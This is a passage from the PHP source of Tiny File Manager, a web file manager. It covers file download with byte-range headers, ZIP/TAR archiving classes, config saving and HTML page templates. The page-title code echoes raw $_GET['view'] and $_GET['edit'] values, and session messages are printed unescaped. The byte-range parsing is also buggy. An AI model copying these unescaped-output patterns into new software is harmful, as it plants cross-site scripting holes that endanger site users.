    @ini_set('magic_quotes_runtime', 0);
    $fp = fopen("$fileLocation", "rb");

    if ($fp === false) {
        fm_set_msg(lng('Cannot open file! Aborting download'), 'error');
        $FM_PATH = FM_PATH;
        fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
        return (false);
    }

    // headers
    header('Content-Description: File Transfer');
    header('Expires: 0');
    header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
    header('Pragma: public');
    header("Content-Transfer-Encoding: binary");
    header("Content-Type: $contentType");

    $contentDisposition = 'attachment';

    if (strstr($_SERVER['HTTP_USER_AGENT'], "MSIE")) {
        $fileName = preg_replace('/\./', '%2e', $fileName, substr_count($fileName, '.') - 1);
        header("Content-Disposition: $contentDisposition;filename=\"$fileName\"");
    } else {
        header("Content-Disposition: $contentDisposition;filename=\"$fileName\"");
    }

    header("Accept-Ranges: bytes");
    $range = 0;

    if (isset($_SERVER['HTTP_RANGE'])) {
        list($a, $range) = explode("=", $_SERVER['HTTP_RANGE']);
        str_replace($range, "-", $range);
        $size2 = $size - 1;
        $new_length = $size - $range;
        header("HTTP/1.1 206 Partial Content");
        header("Content-Length: $new_length");
        header("Content-Range: bytes $range$size2/$size");
    } else {
        $size2 = $size - 1;
        header("Content-Range: bytes 0-$size2/$size");
        header("Content-Length: " . $size);
    }
    $fileLocation = realpath($fileLocation);
    while (ob_get_level()) ob_end_clean();
    readfile($fileLocation);

    fclose($fp);

    return ((connection_status() == 0) and !connection_aborted());
}

/**
 * Class to work with zip files (using ZipArchive)
 */
class FM_Zipper
{
    private $zip;

    public function __construct()
    {
        $this->zip = new ZipArchive();
    }

    /**
     * Create archive with name $filename and files $files (RELATIVE PATHS!)
     * @param string $filename
     * @param array|string $files
     * @return bool
     */
    public function create($filename, $files)
    {
        $res = $this->zip->open($filename, ZipArchive::CREATE);
        if ($res !== true) {
            return false;
        }
        if (is_array($files)) {
            foreach ($files as $f) {
                $f = fm_clean_path($f);
                if (!$this->addFileOrDir($f)) {
                    $this->zip->close();
                    return false;
                }
            }
            $this->zip->close();
            return true;
        } else {
            if ($this->addFileOrDir($files)) {
                $this->zip->close();
                return true;
            }
            return false;
        }
    }

    /**
     * Extract archive $filename to folder $path (RELATIVE OR ABSOLUTE PATHS)
     * @param string $filename
     * @param string $path
     * @return bool
     */
    public function unzip($filename, $path)
    {
        $res = $this->zip->open($filename);
        if ($res !== true) {
            return false;
        }
        if ($this->zip->extractTo($path)) {
            $this->zip->close();
            return true;
        }
        return false;
    }

    /**
     * Add file/folder to archive
     * @param string $filename
     * @return bool
     */
    private function addFileOrDir($filename)
    {
        if (is_file($filename)) {
            return $this->zip->addFile($filename);
        } elseif (is_dir($filename)) {
            return $this->addDir($filename);
        }
        return false;
    }

    /**
     * Add folder recursively
     * @param string $path
     * @return bool
     */
    private function addDir($path)
    {
        if (!$this->zip->addEmptyDir($path)) {
            return false;
        }
        $objects = scandir($path);
        if (is_array($objects)) {
            foreach ($objects as $file) {
                if ($file != '.' && $file != '..') {
                    if (is_dir($path . '/' . $file)) {
                        if (!$this->addDir($path . '/' . $file)) {
                            return false;
                        }
                    } elseif (is_file($path . '/' . $file)) {
                        if (!$this->zip->addFile($path . '/' . $file)) {
                            return false;
                        }
                    }
                }
            }
            return true;
        }
        return false;
    }
}

/**
 * Class to work with Tar files (using PharData)
 */
class FM_Zipper_Tar
{
    private $tar;

    public function __construct()
    {
        $this->tar = null;
    }

    /**
     * Create archive with name $filename and files $files (RELATIVE PATHS!)
     * @param string $filename
     * @param array|string $files
     * @return bool
     */
    public function create($filename, $files)
    {
        $this->tar = new PharData($filename);
        if (is_array($files)) {
            foreach ($files as $f) {
                $f = fm_clean_path($f);
                if (!$this->addFileOrDir($f)) {
                    return false;
                }
            }
            return true;
        } else {
            if ($this->addFileOrDir($files)) {
                return true;
            }
            return false;
        }
    }

    /**
     * Extract archive $filename to folder $path (RELATIVE OR ABSOLUTE PATHS)
     * @param string $filename
     * @param string $path
     * @return bool
     */
    public function unzip($filename, $path)
    {
        $res = $this->tar->open($filename);
        if ($res !== true) {
            return false;
        }
        if ($this->tar->extractTo($path)) {
            return true;
        }
        return false;
    }

    /**
     * Add file/folder to archive
     * @param string $filename
     * @return bool
     */
    private function addFileOrDir($filename)
    {
        if (is_file($filename)) {
            try {
                $this->tar->addFile($filename);
                return true;
            } catch (Exception $e) {
                return false;
            }
        } elseif (is_dir($filename)) {
            return $this->addDir($filename);
        }
        return false;
    }

    /**
     * Add folder recursively
     * @param string $path
     * @return bool
     */
    private function addDir($path)
    {
        $objects = scandir($path);
        if (is_array($objects)) {
            foreach ($objects as $file) {
                if ($file != '.' && $file != '..') {
                    if (is_dir($path . '/' . $file)) {
                        if (!$this->addDir($path . '/' . $file)) {
                            return false;
                        }
                    } elseif (is_file($path . '/' . $file)) {
                        try {
                            $this->tar->addFile($path . '/' . $file);
                        } catch (Exception $e) {
                            return false;
                        }
                    }
                }
            }
            return true;
        }
        return false;
    }
}

/**
 * Save Configuration
 */
class FM_Config
{
    var $data;

    function __construct()
    {
        global $root_path, $root_url, $CONFIG;
        $fm_url = $root_url . $_SERVER["PHP_SELF"];
        $this->data = array(
            'lang' => 'en',
            'error_reporting' => true,
            'show_hidden' => true
        );
        $data = false;
        if (strlen($CONFIG)) {
            $data = fm_object_to_array(json_decode($CONFIG));
        } else {
            $msg = 'Tiny File Manager<br>Error: Cannot load configuration';
            if (substr($fm_url, -1) == '/') {
                $fm_url = rtrim($fm_url, '/');
                $msg .= '<br>';
                $msg .= '<br>Seems like you have a trailing slash on the URL.';
                $msg .= '<br>Try this link: <a href="' . $fm_url . '">' . $fm_url . '</a>';
            }
            die($msg);
        }
        if (is_array($data) && count($data)) $this->data = $data;
        else $this->save();
    }

    function save()
    {
        global $config_file;
        $fm_file = is_readable($config_file) ? $config_file : __FILE__;
        $var_name = '$CONFIG';
        $var_value = var_export(json_encode($this->data), true);
        $config_string = "<?php" . chr(13) . chr(10) . "//Default Configuration" . chr(13) . chr(10) . "$var_name = $var_value;" . chr(13) . chr(10);
        if (is_writable($fm_file)) {
            $lines = file($fm_file);
            if ($fh = @fopen($fm_file, "w")) {
                @fputs($fh, $config_string, strlen($config_string));
                for ($x = 3; $x < count($lines); $x++) {
                    @fputs($fh, $lines[$x], strlen($lines[$x]));
                }
                @fclose($fh);
            }
        }
    }
}

//--- Templates Functions ---

/**
 * Show nav block
 * @param string $path
 */
function fm_show_nav_path($path)
{
    global $lang, $sticky_navbar, $editFile;
    $isStickyNavBar = $sticky_navbar ? 'fixed-top' : '';
?>
    <nav class="navbar navbar-expand-lg mb-4 main-nav <?php echo $isStickyNavBar ?> bg-body-tertiary" data-bs-theme="<?php echo FM_THEME; ?>">
        <a class="navbar-brand"> <?php echo lng('AppTitle') ?> </a>
        <button class="navbar-toggler" type="button" data-bs-toggle="collapse" data-bs-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false" aria-label="Toggle navigation">
            <span class="navbar-toggler-icon"></span>
        </button>
        <div class="collapse navbar-collapse" id="navbarSupportedContent">

            <?php
            $path = fm_clean_path($path);
            $root_url = "<a href='?p='><i class='fa fa-home' aria-hidden='true' title='" . FM_ROOT_PATH . "'></i></a>";
            $sep = '<i class="bread-crumb"> / </i>';
            if ($path != '') {
                $exploded = explode('/', $path);
                $count = count($exploded);
                $array = array();
                $parent = '';
                for ($i = 0; $i < $count; $i++) {
                    $parent = trim($parent . '/' . $exploded[$i], '/');
                    $parent_enc = urlencode($parent);
                    $array[] = "<a href='?p={$parent_enc}'>" . fm_enc(fm_convert_win($exploded[$i])) . "</a>";
                }
                $root_url .= $sep . implode($sep, $array);
            }
            echo '<div class="col-xs-6 col-sm-5">' . $root_url . $editFile . '</div>';
            ?>

            <div class="col-xs-6 col-sm-7">
                <ul class="navbar-nav justify-content-end" data-bs-theme="<?php echo FM_THEME; ?>">
                    <li class="nav-item mr-2">
                        <div class="input-group input-group-sm mr-1" style="margin-top:4px;">
                            <input type="text" class="form-control" placeholder="<?php echo lng('Search') ?>" aria-label="<?php echo lng('Search') ?>" aria-describedby="search-addon2" id="search-addon">
                            <div class="input-group-append">
                                <span class="input-group-text brl-0 brr-0" id="search-addon2"><i class="fa fa-search"></i></span>
                            </div>
                            <div class="input-group-append btn-group">
                                <span class="input-group-text dropdown-toggle brl-0" data-bs-toggle="dropdown" aria-haspopup="true" aria-expanded="false"></span>
                                <div class="dropdown-menu dropdown-menu-right">
                                    <a class="dropdown-item" href="<?php echo $path2 = $path ? $path : '.'; ?>" id="js-search-modal" data-bs-toggle="modal" data-bs-target="#searchModal"><?php echo lng('Advanced Search') ?></a>
                                </div>
                            </div>
                        </div>
                    </li>
                    <?php if (!FM_READONLY): ?>
                        <li class="nav-item">
                            <a title="<?php echo lng('Upload') ?>" class="nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;upload"><i class="fa fa-cloud-upload" aria-hidden="true"></i> <?php echo lng('Upload') ?></a>
                        </li>
                        <li class="nav-item">
                            <a title="<?php echo lng('NewItem') ?>" class="nav-link" href="#createNewItem" data-bs-toggle="modal" data-bs-target="#createNewItem"><i class="fa fa-plus-square"></i> <?php echo lng('NewItem') ?></a>
                        </li>
                    <?php endif; ?>
                    <?php if (FM_USE_AUTH): ?>
                        <li class="nav-item avatar dropdown">
                            <a class="nav-link dropdown-toggle" id="navbarDropdownMenuLink-5" data-bs-toggle="dropdown" aria-expanded="false">
                                <i class="fa fa-user-circle"></i>
                            </a>

                            <div class="dropdown-menu dropdown-menu-end text-small shadow" aria-labelledby="navbarDropdownMenuLink-5" data-bs-theme="<?php echo FM_THEME; ?>">
                                <?php if (!FM_READONLY): ?>
                                    <a title="<?php echo lng('Settings') ?>" class="dropdown-item nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;settings=1"><i class="fa fa-cog" aria-hidden="true"></i> <?php echo lng('Settings') ?></a>
                                <?php endif ?>
                                <a title="<?php echo lng('Help') ?>" class="dropdown-item nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;help=2"><i class="fa fa-exclamation-circle" aria-hidden="true"></i> <?php echo lng('Help') ?></a>
                                <a title="<?php echo lng('Logout') ?>" class="dropdown-item nav-link" href="?logout=1"><i class="fa fa-sign-out" aria-hidden="true"></i> <?php echo lng('Logout') ?></a>
                            </div>
                        </li>
                    <?php else: ?>
                        <?php if (!FM_READONLY): ?>
                            <li class="nav-item">
                                <a title="<?php echo lng('Settings') ?>" class="dropdown-item nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;settings=1"><i class="fa fa-cog" aria-hidden="true"></i> <?php echo lng('Settings') ?></a>
                            </li>
                        <?php endif; ?>
                    <?php endif; ?>
                </ul>
            </div>
        </div>
    </nav>
<?php
}

/**
 * Show alert message from session
 */
function fm_show_message()
{
    if (isset($_SESSION[FM_SESSION_ID]['message'])) {
        $class = isset($_SESSION[FM_SESSION_ID]['status']) ? $_SESSION[FM_SESSION_ID]['status'] : 'ok';
        echo '<p class="message ' . $class . '">' . $_SESSION[FM_SESSION_ID]['message'] . '</p>';
        unset($_SESSION[FM_SESSION_ID]['message']);
        unset($_SESSION[FM_SESSION_ID]['status']);
    }
}

/**
 * Show page header in Login Form
 */
function fm_show_header_login()
{
    header("Content-Type: text/html; charset=utf-8");
    header("Expires: Sat, 26 Jul 1997 05:00:00 GMT");
    header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0");
    header("Pragma: no-cache");

    global $favicon_path;
?>
    <!DOCTYPE html>
    <html lang="en" data-bs-theme="<?php echo (FM_THEME == "dark") ? 'dark' : 'light' ?>">

    <head>
        <meta charset="utf-8">
        <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
        <meta name="description" content="Web based File Manager in PHP, Manage your files efficiently and easily with Tiny File Manager">
        <meta name="author" content="CCP Programmers">
        <meta name="robots" content="noindex, nofollow">
        <meta name="googlebot" content="noindex">
        <?php if ($favicon_path) {
            echo '<link rel="icon" href="' . fm_enc($favicon_path) . '" type="image/png">';
        } ?>
        <title><?php echo fm_enc(APP_TITLE) ?></title>
        <?php print_external('pre-jsdelivr'); ?>
        <?php print_external('css-bootstrap'); ?>
        <style>
            body.fm-login-page {
                background-color: #f7f9fb;
                font-size: 14px;
                background-color: #f7f9fb;
                background-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 304 304' width='304' height='304'%3E%3Cpath fill='%23e2e9f1' fill-opacity='0.4' d='M44.1 224a5 5 0 1 1 0 2H0v-2h44.1zm160 48a5 5 0 1 1 0 2H82v-2h122.1zm57.8-46a5 5 0 1 1 0-2H304v2h-42.1zm0 16a5 5 0 1 1 0-2H304v2h-42.1zm6.2-114a5 5 0 1 1 0 2h-86.2a5 5 0 1 1 0-2h86.2zm-256-48a5 5 0 1 1 0 2H0v-2h12.1zm185.8 34a5 5 0 1 1 0-2h86.2a5 5 0 1 1 0 2h-86.2zM258 12.1a5 5 0 1 1-2 0V0h2v12.1zm-64 208a5 5 0 1 1-2 0v-54.2a5 5 0 1 1 2 0v54.2zm48-198.2V80h62v2h-64V21.9a5 5 0 1 1 2 0zm16 16V64h46v2h-48V37.9a5 5 0 1 1 2 0zm-128 96V208h16v12.1a5 5 0 1 1-2 0V210h-16v-76.1a5 5 0 1 1 2 0zm-5.9-21.9a5 5 0 1 1 0 2H114v48H85.9a5 5 0 1 1 0-2H112v-48h12.1zm-6.2 130a5 5 0 1 1 0-2H176v-74.1a5 5 0 1 1 2 0V242h-60.1zm-16-64a5 5 0 1 1 0-2H114v48h10.1a5 5 0 1 1 0 2H112v-48h-10.1zM66 284.1a5 5 0 1 1-2 0V274H50v30h-2v-32h18v12.1zM236.1 176a5 5 0 1 1 0 2H226v94h48v32h-2v-30h-48v-98h12.1zm25.8-30a5 5 0 1 1 0-2H274v44.1a5 5 0 1 1-2 0V146h-10.1zm-64 96a5 5 0 1 1 0-2H208v-80h16v-14h-42.1a5 5 0 1 1 0-2H226v18h-16v80h-12.1zm86.2-210a5 5 0 1 1 0 2H272V0h2v32h10.1zM98 101.9V146H53.9a5 5 0 1 1 0-2H96v-42.1a5 5 0 1 1 2 0zM53.9 34a5 5 0 1 1 0-2H80V0h2v34H53.9zm60.1 3.9V66H82v64H69.9a5 5 0 1 1 0-2H80V64h32V37.9a5 5 0 1 1 2 0zM101.9 82a5 5 0 1 1 0-2H128V37.9a5 5 0 1 1 2 0V82h-28.1zm16-64a5 5 0 1 1 0-2H146v44.1a5 5 0 1 1-2 0V18h-26.1zm102.2 270a5 5 0 1 1 0 2H98v14h-2v-16h124.1zM242 149.9V160h16v34h-16v62h48v48h-2v-46h-48v-66h16v-30h-16v-12.1a5 5 0 1 1 2 0zM53.9 18a5 5 0 1 1 0-2H64V2H48V0h18v18H53.9zm112 32a5 5 0 1 1 0-2H192V0h50v2h-48v48h-28.1zm-48-48a5 5 0 0 1-9.8-2h2.07a3 3 0 1 0 5.66 0H178v34h-18V21.9a5 5 0 1 1 2 0V32h14V2h-58.1zm0 96a5 5 0 1 1 0-2H137l32-32h39V21.9a5 5 0 1 1 2 0V66h-40.17l-32 32H117.9zm28.1 90.1a5 5 0 1 1-2 0v-76.51L175.59 80H224V21.9a5 5 0 1 1 2 0V82h-49.59L146 112.41v75.69zm16 32a5 5 0 1 1-2 0v-99.51L184.59 96H300.1a5 5 0 0 1 3.9-3.9v2.07a3 3 0 0 0 0 5.66v2.07a5 5 0 0 1-3.9-3.9H185.41L162 121.41v98.69zm-144-64a5 5 0 1 1-2 0v-3.51l48-48V48h32V0h2v50H66v55.41l-48 48v2.69zM50 53.9v43.51l-48 48V208h26.1a5 5 0 1 1 0 2H0v-65.41l48-48V53.9a5 5 0 1 1 2 0zm-16 16V89.41l-34 34v-2.82l32-32V69.9a5 5 0 1 1 2 0zM12.1 32a5 5 0 1 1 0 2H9.41L0 43.41V40.6L8.59 32h3.51zm265.8 18a5 5 0 1 1 0-2h18.69l7.41-7.41v2.82L297.41 50H277.9zm-16 160a5 5 0 1 1 0-2H288v-71.41l16-16v2.82l-14 14V210h-28.1zm-208 32a5 5 0 1 1 0-2H64v-22.59L40.59 194H21.9a5 5 0 1 1 0-2H41.41L66 216.59V242H53.9zm150.2 14a5 5 0 1 1 0 2H96v-56.6L56.6 162H37.9a5 5 0 1 1 0-2h19.5L98 200.6V256h106.1zm-150.2 2a5 5 0 1 1 0-2H80v-46.59L48.59 178H21.9a5 5 0 1 1 0-2H49.41L82 208.59V258H53.9zM34 39.8v1.61L9.41 66H0v-2h8.59L32 40.59V0h2v39.8zM2 300.1a5 5 0 0 1 3.9 3.9H3.83A3 3 0 0 0 0 302.17V256h18v48h-2v-46H2v42.1zM34 241v63h-2v-62H0v-2h34v1zM17 18H0v-2h16V0h2v18h-1zm273-2h14v2h-16V0h2v16zm-32 273v15h-2v-14h-14v14h-2v-16h18v1zM0 92.1A5.02 5.02 0 0 1 6 97a5 5 0 0 1-6 4.9v-2.07a3 3 0 1 0 0-5.66V92.1zM80 272h2v32h-2v-32zm37.9 32h-2.07a3 3 0 0 0-5.66 0h-2.07a5 5 0 0 1 9.8 0zM5.9 0A5.02 5.02 0 0 1 0 5.9V3.83A3 3 0 0 0 3.83 0H5.9zm294.2 0h2.07A3 3 0 0 0 304 3.83V5.9a5 5 0 0 1-3.9-5.9zm3.9 300.1v2.07a3 3 0 0 0-1.83 1.83h-2.07a5 5 0 0 1 3.9-3.9zM97 100a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-48 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 96a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-144a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-96 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm96 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-32 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM49 36a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-32 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM33 68a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 240a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm80-176a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm112 176a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM17 180a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM17 84a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6z'%3E%3C/path%3E%3C/svg%3E");
            }

            .fm-login-page .brand {
                width: 121px;
                overflow: hidden;
                margin: 0 auto;
                position: relative;
                z-index: 1
            }

            .fm-login-page .brand img {
                width: 100%
            }

            .fm-login-page .card-wrapper {
                width: 360px;
            }

            .fm-login-page .card {
                border-color: transparent;
                box-shadow: 0 4px 8px rgba(0, 0, 0, .05)
            }

            .fm-login-page .card-title {
                margin-bottom: 1.5rem;
                font-size: 24px;
                font-weight: 400;
            }

            .fm-login-page .form-control {
                border-width: 2.3px
            }

            .fm-login-page .form-group label {
                width: 100%
            }

            .fm-login-page .btn.btn-block {
                padding: 12px 10px
            }

            .fm-login-page .footer {
                margin: 20px 0;
                color: #888;
                text-align: center
            }

            @media screen and (max-width:425px) {
                .fm-login-page .card-wrapper {
                    width: 90%;
                    margin: 0 auto;
                    margin-top: 10%;
                }
            }

            @media screen and (max-width:320px) {
                .fm-login-page .card.fat {
                    padding: 0
                }

                .fm-login-page .card.fat .card-body {
                    padding: 15px
                }
            }

            .message {
                padding: 4px 7px;
                border: 1px solid #ddd;
                background-color: #fff
            }

            .message.ok {
                border-color: green;
                color: green
            }

            .message.error {
                border-color: red;
                color: red
            }

            .message.alert {
                border-color: orange;
                color: orange
            }

            body.fm-login-page.theme-dark {
                background-color: #2f2a2a;
            }

            .theme-dark svg g,
            .theme-dark svg path {
                fill: #ffffff;
            }

            .theme-dark .form-control {
                color: #fff;
                background-color: #403e3e;
            }

            .h-100vh {
                min-height: 100vh;
            }
        </style>
    </head>

    <body class="fm-login-page <?php echo (FM_THEME == "dark") ? 'theme-dark' : ''; ?>">
        <div id="wrapper" class="container-fluid">

        <?php
    }

    /**
     * Show page footer in Login Form
     */
    function fm_show_footer_login()
    {
        ?>
        </div>
        <?php print_external('js-jquery'); ?>
        <?php print_external('js-bootstrap'); ?>
    </body>

    </html>

<?php
    }

    /**
     * Show Header after login
     */
    function fm_show_header()
    {
        header("Content-Type: text/html; charset=utf-8");
        header("Expires: Sat, 26 Jul 1997 05:00:00 GMT");
        header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0");
        header("Pragma: no-cache");

        global $sticky_navbar, $favicon_path;
        $isStickyNavBar = $sticky_navbar ? 'navbar-fixed' : 'navbar-normal';
?>
    <!DOCTYPE html>
    <html data-bs-theme="<?php echo FM_THEME; ?>">

    <head>
        <meta charset="utf-8">
        <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
        <meta name="description" content="Web based File Manager in PHP, Manage your files efficiently and easily with Tiny File Manager">
        <meta name="author" content="CCP Programmers">
        <meta name="robots" content="noindex, nofollow">
        <meta name="googlebot" content="noindex">
        <?php if ($favicon_path) {
            echo '<link rel="icon" href="' . fm_enc($favicon_path) . '" type="image/png">';
        } ?>
        <title><?php echo fm_enc(APP_TITLE) ?> | <?php echo (isset($_GET['view']) ? $_GET['view'] : ((isset($_GET['edit'])) ? $_GET['edit'] : "H3K")); ?></title>
        <?php print_external('pre-jsdelivr'); ?>
        <?php print_external('pre-cloudflare'); ?>
        <?php print_external('css-bootstrap'); ?>
        <?php print_external('css-font-awesome'); ?>
        <?php if (FM_USE_HIGHLIGHTJS && isset($_GET['view'])): ?>
            <?php print_external('css-highlightjs'); ?>
        <?php endif; ?>
        <script type="text/javascript">
            window.csrf = '<?php echo $_SESSION['token']; ?>';
        </script>
        <style>
            html {
                -moz-osx-font-smoothing: grayscale;
                -webkit-font-smoothing: antialiased;
                text-rendering: optimizeLegibility;
                height: 100%;
                scroll-behavior: smooth;
            }

            *,
            *::before,
            *::after {
                box-sizing: border-box;
            }

            body {
                font-size: 15px;
                color: #222;
                background: #F7F7F7;
            }

            body.navbar-fixed {
                margin-top: 55px;
            }

            a,
            a:hover,
            a:visited,
            a:focus {
                text-decoration: none !important;
            }

            .filename,
            td,
            th {
                white-space: nowrap
            }

            .navbar-brand {
                font-weight: bold;
            }

            .nav-item.avatar a {
                cursor: pointer;
                text-transform: capitalize;
            }

            .nav-item.avatar a>i {
                font-size: 15px;
            }

            .nav-item.avatar .dropdown-menu a {
                font-size: 13px;
            }

            #search-addon {
                font-size: 12px;
                border-right-width: 0;
            }

            .brl-0 {
                background: transparent;
                border-left: 0;
                border-top-left-radius: 0;
                border-bottom-left-radius: 0;
            }

            .brr-0 {
                border-top-right-radius: 0;
                border-bottom-right-radius: 0;
            }

            .bread-crumb {
                color: #cccccc;
                font-style: normal;
            }

            #main-table {
                transition: transform .25s cubic-bezier(0.4, 0.5, 0, 1), width 0s .25s;
            }

            #main-table .filename a {
                color: #222222;
            }

            .table td,
            .table th {
                vertical-align: middle !important;
            }

            .table .custom-checkbox-td .custom-control.custom-checkbox,
            .table .custom-checkbox-header .custom-control.custom-checkbox {
                min-width: 18px;
                display: flex;
                align-items: center;
                justify-content: center;
            }

            .table-sm td,
            .table-sm th {
                padding: .4rem;
            }

            .table-bordered td,
            .table-bordered th {
                border: 1px solid #f1f1f1;
            }

            .hidden {
                display: none
            }

            pre.with-hljs {
                padding: 0;
                overflow: hidden;
            }

            pre.with-hljs code {
                margin: 0;
                border: 0;
                overflow: scroll;
            }

            code.maxheight,
            pre.maxheight {
                max-height: 512px
            }

            .fa.fa-caret-right {
                font-size: 1.2em;
                margin: 0 4px;
                vertical-align: middle;
                color: #ececec
            }

            .fa.fa-home {
                font-size: 1.3em;
                vertical-align: bottom
            }

            .path {
                margin-bottom: 10px
            }

            form.dropzone {
                min-height: 200px;
                border: 2px dashed #007bff;
                line-height: 6rem;
            }

            .right {
                text-align: right
            }

            .center,
            .close,
            .login-form,
            .preview-img-container {
                text-align: center
            }

            .message {
                padding: 4px 7px;
                border: 1px solid #ddd;
                background-color: #fff
            }

            .message.ok {
                border-color: green;
                color: green
            }

            .message.error {
                border-color: red;
                color: red
            }

            .message.alert {
                border-color: orange;
                color: orange
            }

            .preview-img {
                max-width: 100%;
                max-height: 80vh;
                background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAIAAACQkWg2AAAAKklEQVR42mL5//8/Azbw+PFjrOJMDCSCUQ3EABZc4S0rKzsaSvTTABBgAMyfCMsY4B9iAAAAAElFTkSuQmCC);
                cursor: zoom-in
            }

            input#preview-img-zoomCheck[type=checkbox] {
                display: none
            }

            input#preview-img-zoomCheck[type=checkbox]:checked~label>img {
                max-width: none;
                max-height: none;
                cursor: zoom-out
            }

            .inline-actions>a>i {
                font-size: 1em;
                margin-left: 5px;
                background: #3785c1;
                color: #fff;
                padding: 3px 4px;
                border-radius: 3px;
            }

            .preview-video {
                position: relative;
                max-width: 100%;
                height: 0;
                padding-bottom: 62.5%;
                margin-bottom: 10px
            }

            .preview-video video {
                position: absolute;
                width: 100%;
                height: 100%;
                left: 0;
                top: 0;
                background: #000
            }

            .compact-table {
                border: 0;
                width: auto
            }

            .compact-table td,
            .compact-table th {
                width: 100px;
                border: 0;
                text-align: center
            }

            .compact-table tr:hover td {
                background-color: #fff
            }

            .filename {
                max-width: 420px;
                overflow: hidden;
                text-overflow: ellipsis
            }

            .break-word {
                word-wrap: break-word;
                margin-left: 30px
            }

            .break-word.float-left a {
                color: #7d7d7d
            }

            .break-word+.float-right {
                padding-right: 30px;
                position: relative
            }

            .break-word+.float-right>a {
                color: #7d7d7d;
                font-size: 1.2em;
                margin-right: 4px
            }

            #editor {
                position: absolute;
                right: 15px;
                top: 100px;
                bottom: 15px;
                left: 15px
            }

            @media (max-width:481px) {
                #editor {
                    top: 150px;
                }
            }

            #normal-editor {
                border-radius: 3px;
                border-width: 2px;
                padding: 10px;
                outline: none;
            }

            .btn-2 {
                padding: 4px 10px;
                font-size: small;
            }

            li.file:before,
            li.folder:before {
                font: normal normal normal 14px/1 FontAwesome;
                content: "\f016";
                margin-right: 5px
            }

            li.folder:before {
                content: "\f114"
            }

            i.fa.fa-folder-o {
                color: #0157b3
            }

            i.fa.fa-picture-o {
                color: #26b99a
            }

            i.fa.fa-file-archive-o {
                color: #da7d7d
            }

            .btn-2 i.fa.fa-file-archive-o {
                color: inherit
            }

            i.fa.fa-css3 {
                color: #f36fa0
            }

            i.fa.fa-file-code-o {
                color: #007bff
            }

            i.fa.fa-code {
